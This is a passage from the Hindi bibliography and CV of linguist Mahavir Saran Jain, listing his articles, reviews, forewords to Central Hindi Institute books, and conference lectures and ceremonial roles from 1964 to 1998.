http://www.rachanakar.org/2014/11/blog-post_94.html#ixzz3Ih1OsBmv 171. भारत में भारतीय भाषाओं का सम्मान और विकास, साहित्य कुञ्ज, वर्ष: 10, अंक 94, नवम्बर द्वि्तीय अंक, 2014 ISSN 2292-9754 (http://www.sahityakunj.net/LEKHAK/M/MahavirSaranJain/bharat_mein_Bhartiya_bhashaon_ka_samman_vikaas_Alekh.htm) 172.महावीर सरन जैन का स्मृति लेख - डॉ. रमेश चन्द्र महरोत्रा : भाषाविज्ञान के साधक (12 दिसम्बर, 2014) रचनाकार: महावीर सरन जैन का स्मृति लेख - डॉ. रमेश चन्द्र महरोत्रा : भाषाविज्ञान के साधक

http://www.rachanakar.org/2014/12/blog-post_12.html#ixzz3Lng1VDo7

173. महावीर सरन जैन का आलेख - "पीके" फिल्म के विरोध के निहितार्थ (रचनाकार, 02 जनवरी, 2015) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - "पीके" फिल्म के विरोध के निहितार्थ http://www.rachanakar.org/2015/01/blog-post_86.html#ixzz3PNynHWhl 174. भारत में भारतीय भाषाओं का सम्मान और विकास, हिन्दी प्रचार वाणी, वर्ष – 35, अंक – 9, बेंगलोर – 18 (जनवरी, 2015) 175. संस्मरण - डॉ. रमेश चन्द्र महरोत्रा, इतवारी, रायपुर, (4 से 10 जनवरी, 2015) 176. महावीर सरन जैन का आलेख - मदर टेरेसा जैसे संतों की सेवा-भावना (रचनाकार, फरवरी, 2015) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - मदर टेरेसा जैसे संतों की सेवा-भावना

http://www.rachanakar.org/2015/02/blog-post_65.html#ixzz3SlMRYRvm

177. सेवा का मर्म, दैनिक जनसत्ता, 28 फरवरी, 2015 (ग) भूमिका/आमुख / समीक्षा: समीक्षा: 1. भाषा और भाषिकी - डॉ0 देवीशंकर द्विवेदी की भाषा शास्त्र की पुस्तक: हिन्दुस्तानी, भाग 26, अंक 3-4, हिन्दुस्तानी एकेडेमी, इलाहाबाद (जुलाई-दिसम्बर, 1965) 2. जैन आगम साहित्य में भारतीय समाज - डॉ0 जगदीशचन्द्र जैन: माध्यम, वर्ष-5, अंक 11, हिन्दी साहित्य सम्मेलन, इलाहाबाद (1969) 3. कविवर बनारसीदास - डॉ0 रवीन्द्र कुमार जैन का शोध-प्रबंध:

साहित्य संदेश, आगरा (1969)

4. मेरा धर्म: केन्द्र और परिधि - आचार्य तुलसी: साहित्य संदेश, आगरा (1969) 5. नैतिकता का गुरुत्वाकर्षण - मुनि नथमल: साहित्य संदेश, आगरा (1969) 6. तट दो प्रवाह एक - मुनि नथमल: साहित्य संदेश, आगरा (1969) 7. व्यंग्य सतसई - मिश्रीलाल: साहित्य संदेश, आगरा (1969) 8. प्रेमचन्द के उपन्यासों का शिल्प-विधान - डॉ. कमल किशोर गोयनकाः

  (वीणा, वर्ष- 48, अंक 4 – 5, मध्य भारत हिन्दी समीति, इन्दौर (1975)

9. बघेली भाषा और साहित्य – डॉ. भगवती प्रसाद शुक्लः प्रकर, वर्ष 11,

  अंक-11, दिल्ली (नवम्बर, 1979)

10. भारतवर्ष की भाषा समस्या - डॉ0 रामविलास शर्मा: प्रकर, वर्ष 11, अंक-11, दिल्ली (नवम्बर, 1979) 11. शैली विज्ञान और प्रेमचन्द की भाषा - डॉ0 सुरेश कुमार का शोध प्रबन्ध: प्रकर, वर्ष 12, अंक 1, दिल्ली (जनवरी, 1980) 12. नर्मदा का नरम कंकर - आचार्य श्री विद्यासागर महाराज की काव्य कृति: युगधर्म, जबलपुर (मार्च, 1989) भूमिकाः 13. मुक्ति पथ का राही - डॉ0 विमला जैन की नाट्य कृति, जैन पुस्तक भवन, कलकत्ता (1981) 14. काव्यांजलि - डॉ0 शकुन्तला चैधरी की काव्य कृति, प्रसाद प्रकाशन, जबलपुर (1992) 15. हिन्दी रीडर - भाग एक से भाग चार, विकास पब्लिशिंग हाउस प्रा0 लि0, नई दिल्ली (1995-1996) 16. प्रेम की पुकार: रमाकान्त महन्त का काव्य संकलन, उत्कल साहित्य परिषद् प्रकाशन, उड़ीसा (1997) 17. अनुभूति: डॉ0 सत्या सक्सेना का काव्य संग्रह, जयपुर हाउस, आगरा (2003) 18. अन्तर्यात्रा: श्री कांति भाई पटेल के निबंधों का संकलन, आगरा (2006) 19. पत्रकारिता के क्षितिज – डॉ. सतीश शर्मा जाफरावादी एवं डॉ. अर्जुन सिंह शिशौदिया द्वारा सम्पादित, तक्षशिला प्रकाशन, नई दिल्ली (2011) आमुख: केन्द्रीय हिन्दी संस्थान, आगरा से प्रकाशित ग्रन्थों का आमुख लेखन: 20. प्रयोजन मूलक हिन्दी व्याकरण - रवीन्द्र नाथ श्रीवास्तव एवं शारदा भसीन, द्वितीय संशोधित संस्करण (1992) 21. मनोभाषा विज्ञान - पुष्पा श्रीवास्तव, प्रथम संस्करण (1992) 22. बालक में भाषा का विकास - सुगन भाटिया, द्वितीय संस्करण (1993) 23. समसामयिकता और आधुनिक हिंदी कविता - डॉ0 रघुवंश, द्वितीय संस्करण (1993) 24. बैंकिंग हिन्दी पाठ्यक्रम - अमर बहादुर सिंह (संपा0), श्रीशचंद जैसवाल व भारत भूषण (ले0) चतुर्थ संस्करण (1993) 25. गवेषणा, रवीन्द्रनाथ श्रीवास्तव स्मृति अंक, अंक 63-64 (1994) 26. अद्यतन हिंदी साहित्य: एक परिप्रेक्ष्य - रमासूद व कृष्ण गोपाल कपूर, प्रथम संस्करण (1995) 27. भाषा अधिगम - मनोरमा गुप्त, द्वितीय संशोधित संस्करण (1995) 28. हिन्दी काव्य संग्रह - रामवीर सिंह, हेमा उप्रेती व मीरा सरीन (संपा0), तृतीय संशोधित संस्करण (1996) 29. संपर्क भाषा हिन्दी: विविध आयाम - सुरेश कुमार व ठाकुरदास, (1996) 30. हिंदी शिक्षण का इतिहास और विकास - रामलाल वर्मा, प्रथम संस्करण (1996) 31. आधुनिक कहानी संग्रह - सरोजिनी शर्मा (संपा0) (1996) 32. प्रशासनिक पत्राचार - सुरेश कुमार (संपादक), ठाकुरदास व कृष्ण कुमार गोस्वामी (लेखक) (1997) 33. हिंदी रूपांतरणात्मक व्याकरण के कुछ प्रकरण - यमुना काचरू, द्वितीय संस्करण (1997) 34. हिंदी की आधारभूत शब्दावली - वी0रा0 जगन्नाथन, तृतीय संस्करण (1997) 35. साहित्य में बाह्य प्रभाव: भारतीय साहित्य के परिप्रेक्ष्य में, द्वितीय संस्करण (1997) 36. हिंदी-मिजो अध्येता कोश - अमर बहादुर सिंह व रविप्रकाश श्रीवास्तव, प्रथम संस्करण (1997) 37. माध्यमिक स्तरीय पाठ्य-पुस्तक-दो: निर्माण एवं संकलन - शम्भुनाथ पाण्डेय, सम्पादन-अमर बहादुर सिंह, पुनर्सम्पादन-सरोजिनी शर्मा, संशोधित संस्करण (1997) 38. अनुवाद और पारिभाषिक शब्दावली - सुरेश कुमार (संपादक), सुरेश कुमार, ललित मोहन बहुगुणा व कृष्ण कुमार गोस्वामी (लेखक) प्रथम संस्करण (1997) 39. व्यावहारिक हिंदी व्याकरण और वार्तालाप- चतुर्भुज सहाय व अरूण चतुर्वेदी, प्रथम संस्करण (1998) 40. नाच मेरी गुड़िया (हिंदी के शिशु गीत) - सुरेश कुमार (संपादक) प्रथम संस्करण (1998) 41. आओ मिलकर गाएँ (हिंदी के शिशु गीत) - सुरेश कुमार (संपादक) प्रथम संस्करण (1998) 42. उगता सूरज खिलती कलियाँ (हिंदी के बालगीत) - सुरेश कुमार (संपादक) प्रथम संस्करण (1998) 43. हिन्दी शब्दावली और प्रयोग (खण्ड-एक)- सीताराम शास्त्री, द्वितीय संशोधित संस्करण (1998) 44. हिन्दी शब्दावली और प्रयोग (खण्ड-दो)- सीताराम शास्त्री, द्वितीय संशोधित संस्करण (1999) 45. मानक हिंदी का शिक्षण: उपागम एवं उपलब्धियाँ - (खण्ड-एकः सैद्धान्तिक उपागम)- मदनलाल वर्मा, सीताराम शास्त्री (संपादक), प्रथम संस्करण (1999) 46. बैंकिंग हिन्दी पाठ्यक्रम (बैंकिंग शब्दावली सहित) - पंचम संशोधित सं0, प्रथम संस्करण से चतुर्थ संस्करण के सम्पादक - अमर बहादुर सिंह, लेखक - श्रीशचन्द्र जैसवाल एवं भारत भूषण, पंचम संशोधित संस्करण के सम्पादक - कृष्ण कुमार गोस्वामी, निर्माण में सहयोगी-पुष्पा बूलचंदानी, सुनीता शर्मा, आशुतोष शुक्ल (1999) 47. आधुनिक निबन्ध संग्रह - सुरेश कुमार (संपादक), पंचम संस्करण (1999) 48. आधुनिक एकांकी संग्रह - सुरेश कुमार (संपादक), पंचम संस्करण (1999) 49. मानक हिन्दी का शिक्षण: उपागम एवं उपलब्धियाँ - (खण्ड-2: शिक्षण एवं प्रविधि)- मदनलाल वर्मा, सीताराम शास्त्री (संपादक), प्रथम संस्करण (1999) 50. मानक हिन्दी का शिक्षण: उपागम एवं उपलब्धियाँ - (खण्ड- तीनः समस्याएँ एवं समाधान) मदनलाल वर्मा, सीताराम शास्त्री (संपादक), प्रथम संस्करण (1999) 51. विश्व भाषा हिंदी – महावीर सरन जैन (प्रधान सम्पादक), वशिनी शर्मा (संपादक), प्रथम संस्करण (1999) 52. व्यावहारिक हिन्दी संरचना और अभ्यास - महावीर सरन जैन (प्रधान सम्पादक), चतुर्भुज सहाय व अरुण चतुर्वेदी (सम्पादक), रामलाल वर्मा, अरुण चतुर्वेदी व राजबली पाठक (लेखक), तृतीय संशोधित संस्करण (1999) 53. महादेवी का काव्य, कला और दर्शन - रश्मि दीक्षित, प्रथम संस्करण (1999) 54. शैली और शैली विज्ञान - सुरेश कुमार (2000) 55. भाषा सेतु (मानव संसाधन विकास मंत्रालय के अन्तर्गत भाषा संस्थानों/संस्थाओं की गतिविधियों की पत्रिका का प्रवेशांक) - महावीर सरन जैन (प्रधान सम्पादक), ठाकुरदास (सम्पादक), वशिनी शर्मा (सहसम्पादक), रश्मि दीक्षित (सहायक सम्पादक), आशुतोष शुक्ल (सम्पादन सहयोग) (20000) 56. भारतीय बहुभाषिक परिवेश और हिन्दी: समाज भाषा वैज्ञानिक अध्ययन (भारत व्यापी हिन्दी के स्वरूप के सर्वेक्षण पर आधारित परियोजना का प्रतिवेदन) (क) परिकल्पना: प्रो0 बाल गोविंद मिश्र (ख) मार्गदर्शक (प्रभारत्व - कालक्रम से): डॉ0 श्री कृष्ण शर्मा, प्रो0 कृष्ण कुमार शर्मा, प्रो0 कीर्तिलता दत्त, प्रो0 सुरेश कुमार, प्रो0 अमर बहादुर सिंह (ग) पाइलट सर्वे: डॉ0 कृष्ण कुमार शर्मा, डॉ0 श्री कृष्ण शर्मा, डॉ0 एम0 ज्ञानम, डॉ0 सुशीला थामस (घ) प्रश्नावली : डॉ0 श्री कृष्ण शर्मा, डॉ0 एम0 ज्ञानम, डॉ0 हेमा उप्रेति, डॉ0 घनश्याम शर्मा, डॉ0 भरत सिंह (च) सर्वेक्षण : डॉ0 एम0 ज्ञानम, डॉ0 सुशीला थामस (छ) विश्लेषणः डॉ0 एम0 ज्ञानम, डॉ0 सुशीला थामस, डॉ0 भरत सिंह, डॉ0 हरिवंश सिंह सोलंकी, डॉ0 घनश्याम शर्मा, सुश्री पुष्पा बूलचंदानी, सुश्री वीणा माथुर, श्री मिथिलेश कुमार मिश्र (ज) मूल रिपोर्ट लेखन : डॉ0 एम0 ज्ञानम, डॉ0 सुशीला थामस, डॉ0 भरत सिंह, सुश्री पुष्पा बूलचंदानी (झ) रिपोर्ट लेखन: मार्गदर्शन - प्रो0 अमर बहादुर सिंह (ट) रिपोर्ट लेखन : पर्यवेक्षण - डॉ0 टी0के0 नारायण पिल्लै (ठ) रिपोर्ट लेखन: सम्पादन - डॉ0 एम0 ज्ञानम (ड) रिपोर्ट लेखन : सह संपादन - डॉ0 हरिवंश सिंह सोलंकी, सुश्री पुष्पा बूलचंदानी, सुश्री वीणा माथुर, सुश्री संघमित्रा(प्रथम संस्करण) 56. आमुख – अध्यात्म अनुभूति योग – प्रमोद प्रणव (प्रणव प्रकाशन, बुलन्द शहर (2009)

=====शीर्षक उदाहरण 4=====सम्मेलन एवं संगोष्ठियों में सहभागिता एवं शोध निर्देशन [सम्मेलनों, संगोष्ठियों एवं कार्यशालाओं में सहभागिता] 1. अखिल भारतीय तुलसीदास सम्मेलन, भोपाल (1964) व्याख्यान: रामचरित मानस की प्रासंगिकता 2. मध्य प्रदेश हिन्दी साहित्य सम्मेलन का तृतीय वार्षिक अधिवेशन, जबलपुर (1965)

    	सत्रीय आधार आलेखः शिक्षण तथा प्रशासन के माध्यम का प्रश्न एवं हिन्दी

3. केरल विश्वविद्यालय के तत्वावधान में एर्नाकुलम में विश्वविद्यालयों के हिन्दी अध्यापकों के सम्मेलन में जबलपुर विश्वविद्यालय, जबलपुर का प्रतिनिधित्व (1965) आलेख: भारतवर्ष में अन्य भाषा शिक्षण की समस्याएँ 4. उस्मानिया विश्वविद्यालय, हैदराबाद में भारतीय हिन्दी परिषद् के अधिवेशन में जबलपुर विश्वविद्यालय, जबलपुर का प्रतिनिधित्व (1967) शोध पत्र: हिन्दी अक्षर 5. अखिल भारतीय प्राच्य विद्या सम्मेलन, अलीगढ़ (1967) शोध पत्र: हिन्दी के स्वर ध्वनिग्राम 6. भाषा शिक्षण में भाषा विज्ञान का योगदान विषयक संगोष्ठी, केन्द्रीय हिन्दी संस्थान, आगरा (1968) आधार आलेख: अन्य भाषा शिक्षण तथा ध्वनि विज्ञान 7. हिन्दी के व्याकरणिक सांचों का निर्धारण विषयक संगोष्ठी, केन्द्रीय हिन्दी संस्थान, आगरा (1969) आधार आलेख: हिन्दी संज्ञा वाक्यांश 8. Seminar, "Programmed Instructions and Language Learning": Centre for Advanced Study in Education, Baroda University, Baroda (1970) Research Paper: "Gender in Hindi" 9. केन्द्रीय हिन्दी संस्थान के पाठ्यक्रमों की शिक्षण सामग्री तैयार करने के लिए निर्देशक बिन्दुओं का निर्धारण-संगोष्ठी एवं कार्यशाला, आगरा (1971-72) 10. Represented University of Jabalpur in "Second All India Conference of Linguists", Delhi (1972) 11. Workshop, "Language Teaching Material in Hindi to teach Hindi as a Second Language to the officers of I.A.S. and Central Services": National Academy of Administration, Mussoorie (1972). Base Paper: हिन्दी की उपवाक्य संरचना 12. ग्वालियर में भारतीय हिन्दी परिषद् के वार्षिक अधिवेशन में जबलपुर विश्वविद्यालय का प्रतिनिधित्व (1972) 13. भारत सरकार के गृह मन्त्रालय के राज भाषा विभाग की हिन्दी शिक्षण योजना के अन्तर्गत जबलपुर में आयोजित ‘हिन्दी का प्रशिक्षण’ शीर्षक कार्यशाला में सहभागिता (1973) 14. गुजरात के वल्लभ विद्यानगर में भारतीय हिन्दी परिषद के वार्षिक अधिवेशन में जबलपुर विश्वविद्यालय का प्रतिनिधित्व (1974) आलेख: हिन्दी के महाप्राण व्यंजन 15. विक्रम विश्वविद्यालय, उज्जैन में ‘भगवान महावीर का भारतीय संस्कृति में योगदान’ विषयक संगोष्ठी में सहभागिता (1975) शोध निबन्ध: जैन दर्शन की आधार भित्ति-अनेकांतवाद एवं स्याद्वाद 16. Seminar, "Jain Studies": Centre of Advanced Studies in Indology and Muscology, Bhopal University, Bhopal (1975). Research Paper : जैन धर्म एवं दर्शन 17. अखिल भारतीय दिगम्बर भगवान महावीर निर्वाण महोत्सव

समिति द्वारा अजमेर (राजस्थान) में आयोजित संगोष्ठी में 

सहभागिता (1975) शोध निबन्ध : जैन धर्म और दर्शन की प्रासंगिकता 18. सागर विश्वविद्यालय सागर में ‘भगवान महावीर’ विषयक संगोष्ठी में सहभागिता (1976) शोध निबन्धः भगवान महावीर का संदेश एवं आधुनिक जीवन संदर्भ 19. रविशंकर विश्वविद्यालय, रायपुर में ‘भगवान महावीर’ विषयक संगोष्ठी में सहभागिता (1976) शोध निबन्ध: महावीर-पूर्व जैन धर्म की परम्परा 20. भगवान महावीर के पच्चीस सौंवे निर्वाण महोत्सव के संदर्भ में इन्दौर विश्वविद्यालय, इन्दौर में विशेष व्याख्यानः (25 सितम्बर, 1975) 21. भगवान महावीर के पच्चीस सौंवे निर्वाण महोत्सव के संदर्भ में विक्रम विश्वविद्यालय, उज्जैन में विशेष व्याख्यानः (22 अक्टूबर, 1975) 22. भगवान महावीर के पच्चीस सौंवे निर्वाण महोत्सव के संदर्भ में अवधेश प्रताप सिंह विश्वविद्यालय, रीवा में विशेष व्याख्यान : (दिसम्बर, 1975) 23. भगवान महावीर के पच्चीस सौंवे निर्वाण महोत्सव के संदर्भ में सागर विश्वविद्यालय, सागर (3 जनवरी, 1976) 24. केन्द्रीय हिन्दी संस्थान, आगरा एवं जबलपुर विश्वविद्यालय, जबलपुर के संयुक्त तत्वावधान में जबलपुर में पं0 कामता प्रसाद गुरु जन्मशती के संदर्भ में ‘ अखिल भारतीय हिन्दी व्याकरण’ शीर्षक संगोष्ठी का संयोजन एवं एक सत्र में आधार आलेख का वाचन (1976) आधार-आलेख: हिन्दी में रूप ग्रामिक विश्लेषण की समस्याएँ 25. भारत सरकार के शिक्षा विभाग के केन्द्रीय हिन्दी निदेशालय द्वारा हिन्दीतर क्षेत्रों के हिन्दी नव लेखक, शिविर का मार्गदर्शन (1977) व्याख्यानः भारतीय भाषाएँ और उनका साहित्य 26. केन्द्रीय हिन्दी निदेशालय, नई दिल्ली की ‘हिन्दीतर भाषी राज्यों के विश्वविद्यालयों में राष्ट्रीय प्राध्यापक व्याखान माला यात्राएँ’ योजना के अन्तर्गत व्याख्यान (1978) क- आन्ध्र विश्वविद्यालय, वाल्टेयर, विशाखापत्तनम् । ख- आन्ध्र वेंकटेश्वर विश्वविद्यालय, तिरुपति ग- पूना विश्वविद्यालय, पुणे 27. कलकत्ता में श्रीमद् जवाहर आचार्य स्मृति व्याख्यान माला के अन्तर्गत ‘भारतीय दर्शनों में अहिंसा का स्वरूपः जैन दर्शन के विशेष संदर्भ में’ शीर्षक विषय पर व्याख्यान (दिसम्बर, 1978) 28. अजमेर में ‘बाल-संस्कार-शिक्षा-साहित्य’ विषयक संगोष्ठी में सहभागिता (1979) आधार आलेख: चरित्र निर्माण की आवश्यकता एवं बाल-संस्कार 29. प्रेमचन्द जन्मशती के उपलक्ष्य में जबलपुर में प्रेमचन्द का सामाजिक दर्शन शीर्षक संगोष्ठी में सहभागिता (1980) आधार आलेख: ‘‘समता-समाज एवं प्रेमचन्द-साहित्य’’ 30. जलगाँव (महाराष्ट्र) में जैन धर्म एवं दर्शन शीर्षक संगोष्ठी में सहभागिता (1980) आधार आलेख: ‘‘आधुनिक संदर्भ में जैन धर्म की भूमिका’’ 31. जबलपुर में जैन धर्म, दर्शन एवं साहित्य शीर्षक संगोष्ठी का मार्गदर्शन एवं उद्घाटन व्याख्यान (1980) 32. मद्रास (चैन्नई) में युवा पीढी और धार्मिकता शीर्षक संगोष्ठी में मुख्य व्याख्यान (1980) 33. उद्घाटन व्याख्यान: ‘साहित्य में व्यंग्य’ शीर्षक संगोष्ठी, जबलपुर

    (1981)

34. उद्घाटन व्याख्यान: सद्गुरु व्याख्यान माला’, जबलपुर (1982) 35. Lectures in Seminars organized by (1) Embassy of India, Bucharest (Romania) (2) University of Bucharest, (Romania) (3) University of Cluj-Napoca, (Romania) (4) University of Iasi (Romania) (1984-88) 36. Extension Lecture, "Hinduism": Diplomatic- circle of Bucharest, Romania (17 June, 1987) 37. Extension Lecture, "Introduction of Buddhism": Diplomatic - circle of Bucharest,Romania (18 February, 1988) 38. Extension Lecture, "Buddhism- Twelve links of the Causal wheel of Dependent Origination": Diplomatic circle of Bucharest, Romania (28 April, 1988) 39. Extension Lecture "Jainism": Diplomatic - circle of Bucharest, Romania (19 May, 1988) 40. Extension Lecture, "Hinduism, Buddhism and Jainism": Diplomatic - circle of Bucharest, Romania (2 June, 1988). 41. जबलपुर में आयोजित निखिल भारत बंग साहित्य सम्मेलन के समापन सत्र में मुख्य व्याख्यान (26 दिसम्बर, 1988) 42. रानी दुर्गावती विश्वविद्यालय (पूर्व नाम- जबलपुर विश्वविद्यालय) में ‘साहित्य शास्त्र एवं भाषा विज्ञान’ संगोष्ठी का संयोजन एवं विषय प्रवर्तन (1988) 43. जबलपुर के रानी दुर्गावती विश्वविद्यालय में ‘कविता के प्रतिमान’ शीर्षक संगोष्ठी का विषय-प्रवर्तन (1989) 44. Seminar, "Tibeto- Burman Linguistics": Manipur University, Imphal (May, 1989) Research Paper : "Language and Culture" 45. वैज्ञानिक तथा तकनीकी शब्दावली आयोग, नई दिल्ली द्वारा जबलपुर में आयोजित शब्दावली कार्यशाला का विषय प्रवर्तन (जुलाई, 1989) 46. केन्द्रीय हिन्दी संस्थान द्वारा रजत जयन्ती वर्ष में गोवाहाटी (असम) में आयोजित ‘हिन्दी शिक्षण के राष्ट्रीय और अन्तर्राष्ट्रीय संदर्भ‘ शीर्षक संगोष्ठी में सहभागिता (अक्टूबर, 1989) शोध निबन्ध: ‘‘विदेशों में हिन्दी का शिक्षण’’ 47. कलकत्ता में विचार मंच के तत्वावधान में ’‘भारतीय दर्शनों में मोक्ष का स्वरूप’’’ शीर्षक विषय पर व्याख्यान (19 अक्टूबर, 1989) 48. केन्द्रीय हिन्दी संस्थान द्वारा रजत जयन्ती वर्ष में नई दिल्ली में आयोजित ‘अन्तर्राष्ट्रीय भाषा के रूप में हिन्दी’ शीर्षक संगोष्ठी में सहभागिता एवं शोध-निबंध का वाचन (जनवरी, 1990) शोध निबन्ध: अन्तर्राष्ट्रीय स्तर पर हिन्दी साहित्यः अध्ययन और अनुवाद 49. उद्घाटन एवं मुख्य व्याख्यान: श्री जैन सभा, कलकत्ता का स्वर्ण जयन्ती समारोह, कलकत्ता (24 फरवरी, 1990) 50. हिन्दीतर भाषी हिन्दी नव लेखकों को पुरस्कार वितरण समारोह के संदर्भ में केन्द्रीय हिन्दी निदेशालय द्वारा आयोजित विचार गोष्ठी में सहभागिता (मार्च, 1990) व्याख्यानः भारतीय भाषाओं के संवर्धन में हिन्दी का योगदान 51. उत्तर प्रदेश हिन्दी संस्थान, लखनऊ द्वारा लखनऊ में आयोजित आचार्य किशोरी दास वाजपेयी स्मृति संगोष्ठी में सहभागिता एवं शोद-निबंध का वाचन (जुलाई, 1990) शोध निबन्ध: हिन्दी शब्दानुशासन का संदर्भ 52. Seminar: "Translation as a vehicle of international understanding and world-peace” Barannikov Centenary Celebrations, Calicut University, Calicut, (Kerala) (February, 1991) Research Paper "Translation of Indian literature in Romania" 53. विषय प्रवर्तन: राष्ट्रीय नाट्य संगोष्ठी, विश्वविद्यालय, जबलपुर (मार्च 1991) 54. मध्य-प्रदेश शासन के जन जाति कल्याण विभाग द्वारा भोपाल में आयोजित ‘जनजातीय भाषाएँ’’ शीर्षक संगोष्ठी में सहभागिता (23-24 मार्च, 1991) शोध निबन्ध % "A Contrastive Study of Hindi and Tribal dialects of Madhya Pradesh and Error Analysis of College entrants speaking tribal dialects of Madhya Pradesh and to prepare remedial devices for developing Language skills in Hindi" 55. मुख्य व्याख्यान: अखिल भारतीय अहिंसा सम्मेलन, जबलपुर (28 मार्च, 1991) 56. स्नातकोत्तर हिन्दी एवं भाषा विज्ञान विभाग, रानी दुर्गावती विश्वविद्यालय, (पूर्व नाम- जबलपुर विश्वविद्यालय), जबलपुर की

प्रसार व्याख्यानमाला योजना के अन्तर्गत शताधिक व्याख्यान
    (1964 - 1991)

57. आकाशवाणी , नई दिल्ली, भोपाल एवं जबलपुर से शताधिक हिन्दी वार्ताएँ (1964 - 1991) 58. मुख्य वक्ता: राजकाज में राजभाषा शीर्षक हिन्दी पुस्तक का लोकार्पण समारोह, आगरा (20.04.1994) 59. मुख्य अतिथि एवं उद्घाटन भाषण, तकनीकी शब्दावली कार्यशाला, दिल्ली कॉलेज ऑफ इंजीनियरिंग, दिल्ली (वैज्ञानिक एवं तकनीकी शब्दावली आयोग, नई दिल्ली द्वारा आयोजित) (21.04.1994) 60. मुख्य अतिथि: अचल ट्रस्ट का वार्षिक समारोह, आगरा (5.5.1994) 61. अध्यक्ष: जवाहर नवोदय विद्यालय के हिन्दी स्नातकोत्तर शिक्षकों के अखिल भारतीय प्रशिक्षण शिविर का उद्घाटन समारोह, आगरा (9.5.1994) 62. अध्यक्ष: उच्च नवीकरण पाठ्यक्रम, चण्डीगढ़ (केन्द्रीय हिन्दी संस्थान के दिल्ली केन्द्र द्वारा आयोजित) (21.05.1994) 63. अध्यक्ष: नवीकरण पाठ्यक्रम समापन समारोह, हैदराबाद (30.06.94) 64. विशिष्ट वक्ता: राजभाषा संगोष्ठी, राजभाषा विभाग, गृह मन्त्रालय, भारत सरकार नई दिल्ली (5.7.1994) 65. मुख्य अतिथि: तकनीकी शब्दावली कार्यशाला का उद्घाटन समारोह, जबलपुर (वैज्ञानिक एवं तकनीकी शब्दावली आयोग, नई दिल्ली द्वारा आयोजित) (11.7.1994) 66. मुख्य अतिथि: गांधी शास्त्री जन्म महोत्सव -1994, आगरा

   (2.10.1994)

67. मुख्य अतिथि: काव्य संग्रह ‘जिन्दगी दर्द है’ का विमोचन समारोह, आगरा (27.11.1994) 68. अध्यक्ष: अखिल भारतीय हिन्दी प्रचारक शिविर का उद्घाटन समारोह, आगरा (14.01.1995) 69. अध्यक्ष: बाबू गुलाबराय जयन्ती समारेाह, आगरा (3.2.1995) 70. गुवाहाटी विश्वविद्यालय में व्याख्यान, गुवाहाटी दूरदर्शन में प्रयोजनमूलक हिन्दी शीर्षक विषय पर परिचर्चा में भाग, असम राष्ट्र भाषा प्रचार समिति, गुवाहाटी में व्याख्यान, गुवाहाटी के हिन्दी दैनिक ‘सेंटिनल’ के सम्पादक को साक्षात्कार (21 एवं 22 फरवरी 1995) 71. साक्षात्कार: नार्थ ईस्ट सर्किल, ऑल इण्डिया रेडियो, शिलांग

    (24.2.1995)

72. मुख्य अतिथि: भारत संस्कृत परिषद् द्वारा आयोजित संस्कृत सम्भाषण समापन समारोह, आगरा (1995) 73. विशेषज्ञः संकाय सदस्यों हेतु विकास कार्यक्रम, पाठ्यक्रम समिति, भारतीय रिज़र्व कृषि बैंकिंग महाविद्यालय, पुणे (24.4.1995) 74. मुख्य वक्ता: भारतीय भाषाओं में संरचनात्मक एकरूपता, केन्द्रीय समुद्री मात्स्यकी अनुसंधान संस्थान, कोच्चि (केरल) (1.7.1995) 75. मुख्य वक्ता: तुलसी जयन्ती समारोह, नागरी प्रचारिणी सभा, आगरा (3.8.1995) 76. अध्यक्ष: कविता में आधुनिकता बोध, चर्वणा, आगरा (13.8.1995) 77. मुख्य अतिथि: राष्ट्रीय पर्व हिन्दी दिवस समारोह, भारतीय जीवन बीमा निगम, आगरा (सितम्बर, 95) 78. महात्मा गांधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय के सम्बन्घ में संसदीय समिति के सदस्यों के साथ बैठक (9.10.1995) 79. साक्षात्कार: निदेशक से बातचीत, राष्ट्रीय एकता का प्रतीक है- केन्द्रीय हिन्दी संस्थान- दैनिक जागरण, आगरा (2 दिसम्बर, 1995) 80. अध्यक्ष: केन्द्रीय हिन्दी संस्थान नवीकरण पाठ्यक्रम समापन समारोह, हैदराबाद (20.1.1996) 81. मुख्य अतिथि: SPIC - MACAY (Agra Chapter), आगरा (17.2.1996) 82. प्रमुख वक्ता: सरस्वती शिशु मन्दिर, आगरा द्वारा आयोजित समारोह में ‘भारतीय हिन्दी काव्य में पर्यावरण’ विषय पर व्याख्यान/भाषण दिया । (25.05.96) 83. मुख्य अतिथि: राजभाषा अधिकारियों का प्रशिक्षण कार्यक्रम (समापन सत्र), भारतीय जीवन बीमा निगम, आगरा (14.08.96) 84. मुख्य अतिथि: शासकीय कमलाराजे कन्या महाविद्यालय, ग्वालियर में हिन्दी अध्यापकों के पुनश्चर्या पाठ्यक्रम का समापन समारोह (3.10.96) 85. विशिष्ट वक्ता: पं0 श्रीराम शर्मा जन्मशती समारोह, नागरी प्रचारिणी सभा, आगरा (10.2.97) 86. अध्यक्ष: संस्थान के दिल्ली केन्द्र में विदेशी छात्रों का सत्रान्त समारोह (7.3.97) 87. मुख्य अतिथि तथा विमोचनकर्ता: श्री हरिमोहन सिंह कोठिया की काव्य पुस्तक ‘धरा के बोल’ का विमोचन समारोह, आगरा (8.3.97) 88. अध्यक्ष: पं0 श्रीराम शर्मा जन्मशती समारोह, आगरा (8.4.97) 89. अध्यक्ष: भारत जापान मैत्री नव-वर्ष संध्या समारोह, आगरा (01.01.1998) 90. अध्यक्ष: स्वामी विवेकानन्द जयन्ती, ज्ञान ज्योति विद्या मन्दिर, आगरा (12.01.1998) 91. मुख्य अतिथि एवं विमोचनकर्ता: विस्फोटक विभाग, भारत सरकार, ताजगंज, आगरा में स्मारिका विमोचन एवं चतुर्थ हिन्दी कार्यशाला समारोह (10.02.98) 92. मुख्य अतिथि: स्वामी बाग हाईस्कूल का स्वर्ण जयन्ती समारोह (18.02.98) 93. अध्यक्ष: केन्द्रीय हिन्दी संस्थान के हैदराबाद केन्द्र द्वारा आयोजित नवीकरण पाठ्यक्रम का समापन समारोह, दक्षिण भारत हिन्दी प्रचार सभा, चैन्नै (13.03.1998) 94. मुख्य अतिथिः दिगम्बर जैन महासमिति, उत्तरांचल, आगरा सम्भाग द्वारा आयोजित समारोह (22.03.98) 95. मुख्य अतिथि: केन्द्रीय हिन्दी संस्थान, हैदराबाद केन्द्र तथा विशाखा हिन्दी परिषद, द्वारा आयोजित उच्च नवीकरण पाठ्यक्रम का समापन समारोह, विशाखा हिन्दी परिषद्, विशाखापट्टनम (19.6.98) 96. अध्यक्ष: मणिपुर राष्ट्रभाषा प्रचार समिति, इम्फाल में 